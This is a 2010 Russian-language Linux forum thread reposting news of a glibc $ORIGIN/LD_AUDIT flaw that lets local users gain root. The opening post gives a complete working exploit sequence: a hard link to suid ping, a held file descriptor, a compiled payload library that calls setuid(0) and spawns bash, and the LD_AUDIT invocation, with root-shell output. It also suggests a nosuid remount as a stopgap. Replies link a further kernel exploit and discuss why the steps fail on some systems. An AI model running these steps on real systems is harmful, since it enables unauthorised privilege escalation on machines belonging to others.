anonymous@RULINUX.NET~# Last login: 2024-11-23 14:48:15
Регистрация Вход Новости | Разметка | Пользователи | Галерея | Форум | Статьи | Неподтвержденное | Трекер | Правила форума | F.A.Q. | Ссылки | Поиск
[#] [Добавить метку] [Редактировать]
Скрыть

[решето] В Glibc обнаружена серьезная уязвимость

 http://www.opennet.ru/opennews/art.shtml?num=28338

В системной библиотеке GNU C Library (glibc), являющейся основой большинства Linux-дистрибутивов, обнаружена критическая уязвимость, позволяющая любому локальному пользователю получить привилегии суперпользователя. Проблема вызвана игнорированием в Glibc требования спецификации ELF по запрещению использования текущего пути к исполняемому файлу ($ORIGIN) в процессе динамического связывания программ с идентификатором смены владельца или группы (suid/sgid). Проблема проявляется в конфигурациях, в которых пользователь имеет возможность создавать жесткие ссылки в файловой системе, допускающей наличие suid-файлов.

Уязвимость протестирована в Fedora 13 и RHEL 5 / CentOS 5, другие дистрибутивы судя по всему также подвержены проблеме. Исправления пока недоступны, статус выхода обновлений в различных Linux-дистрибутивах можно наблюдать на следующих страницах: Slackware, Gentoo, Mandriva, openSUSE, CentOS, Fedora, RHEL, Debian, Ubuntu.

Проблема была известна и ранее, но разработчики Glibc считали, что эксплуатировать ее невозможно. Используя режим аудита связывания программ (LD_AUDIT) в ld.so, вкупе с подменой $ORIGIN через создание жесткой ссылки и запуском suid-программы через файловый дескриптор, удалось разработать практический метод атаки. Проверить свою систему на наличие уязвимости можно следующим способом:

Создаем произвольную директорию:

$ mkdir /tmp/exploit

Привязываем suid-программу жесткой ссылкой в созданную директорию (при выполнении будет изменен $ORIGIN):

$ ln /bin/ping /tmp/exploit/target

Открываем для исполняемого файла файловый дескриптор:

$ exec 3< /tmp/exploit/target

Данный файловый дескриптор должен быть виден в пространстве /proc

$ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

Удаляем ранее созданную директорию

$ rm -rf /tmp/exploit/

В /proc дескриптор остался, но теперь помечен как удаленный:

$ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

Заменяем директорию на специально созданный эксплоит (имя директории будет открыто через dlopen):

$ cat > payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ^D

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c $ ls -l /tmp/exploit -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

Инициируем динамическое связывание и загрузку $ORIGIN через LD_AUDIT и запуск программы по файловому дескриптору в /proc $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 sh-4.1# whoami root sh-4.1# id uid=0(root) gid=500(taviso)

В качестве временной меры защиты рекомендуются перемонтировать все доступные сторонним пользователям на запись директории в режиме nosuid (актуально только если suid-файл и доступная на запись директория присутствуют в одном дисковом разделе, например, /tmp или /home являются частью корневого раздела, так как жесткая ссылка не может быть установлена из одного дискового раздела в другой) :

# mount -o bind /tmp /tmp # mount -o remount,bind,nosuid /tmp /tmp

Дополнение: Разработчики из компании Red Hat выпустили патч, устраняющий проблему в Glibc.

Bod(*) (2010-10-20 12:12:00)

Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.12pre) Gecko/20101016 Ubuntu/10.10 (maverick) Namoroka/3.6.12pre

[Ответить на это сообщение]
avatar
Скрыть

Re: [решето] В Glibc обнаружена серьезная уязвимость

Новость на главной. Не оно? :)

makharadg(*)(2010-10-20 12:25:17)

Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 GTB7.1
avatar
Скрыть

Re: [решето] В Glibc обнаружена серьезная уязвимость

Боян, вчера уже обсудили, вот вам новая дырочка, подвержены _все_ ядра новее 2.6.30:

 http://www.exploit-db.com/exploits/15285/

gnomino(*)(2010-10-20 12:25:22)

Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.10) Gecko/20100920 Fedora/3.6.10-1.fc13 Firefox/3.6.10
avatar
Скрыть

Re: [решето] В Glibc обнаружена серьезная уязвимость

У меня венда ежедневно получает апдейты. Мне это не грозит?

makharadg(*)(2010-10-20 12:32:51)

Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 GTB7.1
avatar
Скрыть

Re: [решето] В Glibc обнаружена серьезная уязвимость

  1.  exec 3< /tmp/exploit/target
  2.  bash: /tmp/exploit/target: Отказано в доступе
  3.  

не работает, как обычно.

anonymous(*)(2010-10-20 12:57:56)

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.9) Gecko/20101019 Gentoo Ant.com Toolbar 2.0.1 Firefox/3.6.9
avatar
Скрыть

Re: [решето] В Glibc обнаружена серьезная уязвимость

Ну, там несколько препятствий. Т.е. во-первых, не у всех /tmp находится на том же устройстве, что и /, так что hardlink /bin/ping -> /tmp/exploit/target уже проблематичен. Кроме того, на устройстве, куда смонтировано /tmp вообще может быть снят бит исполняемости. И в последнюю очередь эта ошибка (я её тоже видел, но не понял откуда она берется) с Permission denied, возникающая в башах (в зависимости от версии баша, что-ли?). Но это не помешает Мелкософту отрапортовать, что за истекшей период было обнаружено столько-то ошибок в Линупсах.

anonymous(*)(2010-10-20 13:47:37)

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
Этот тред читают 1 пользователь:
Анонимных: 1
Зарегистрированных: 0




(c) 2010-2020 LOR-NG Developers Group
Powered by TimeMachine

Valid HTML 4.01 Transitional Правильный CSS!